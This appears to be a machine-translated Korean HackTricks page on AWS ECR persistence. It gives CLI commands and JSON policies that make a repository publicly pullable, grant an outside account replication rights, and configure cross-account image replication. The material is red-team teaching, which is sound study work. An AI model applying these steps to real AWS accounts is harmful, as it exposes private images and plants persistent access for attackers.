공격자는 ECR 저장소에 악성 코드가 포함된 Docker 이미지를 업로드하고 해당 이미지를 사용하여 대상 AWS 계정에서 지속성을 유지할 수 있습니다. 그런 다음 공격자는 악성 이미지를 Amazon ECS 또는 EKS와 같은 계정 내의 다양한 서비스에 은밀하게 배포할 수 있습니다.
저장소 정책
단일 저장소에 액세스 권한을 부여하는 정책을 추가하세요 (자신 또는 모두에게):
awsecrset-repository-policy \--repository-name cluster-autoscaler \--policy-text file:///tmp/my-policy.json# With a .json such as{"Version":"2008-10-17","Statement": [{"Sid":"allow public pull","Effect":"Allow","Principal":"*","Action": ["ecr:BatchCheckLayerAvailability","ecr:BatchGetImage","ecr:GetDownloadUrlForLayer"]}]}
ECR는 사용자가 Amazon ECR 저장소에서 이미지를 푸시하거나 끌어오기 전에 IAM 정책을 통해 ecr:GetAuthorizationToken API를 호출할 수 있는 권한이 필요합니다.
레지스트리 정책 및 계정 간 복제
외부 계정에서 레지스트리를 자동으로 복제하는 것이 가능하며, 이를 위해 복제하려는 외부 계정을 지정해야 합니다.
먼저, 레지스트리 정책을 사용하여 외부 계정에 레지스트리 액세스 권한을 부여해야 합니다.
awsecrput-registry-policy--policy-textfile://my-policy.json# With a .json like:{"Sid":"asdasd","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::947247140022:root"},"Action": ["ecr:CreateRepository","ecr:ReplicateImage"],"Resource":"arn:aws:ecr:eu-central-1:947247140022:repository/*"}
그런 다음 복제 구성을 적용하십시오:
awsecrput-replication-configuration \--replication-configuration file://replication-settings.json \--region us-west-2# Having the .json a content such as:{"rules": [{"destinations": [{"region":"destination_region","registryId":"destination_accountId"}],"repositoryFilters": [{"filter":"repository_prefix_name","filterType":"PREFIX_MATCH"}]}]}
htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요
다른 방법으로 HackTricks를 지원하는 방법:
회사가 HackTricks에서 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면구독 요금제를 확인하세요!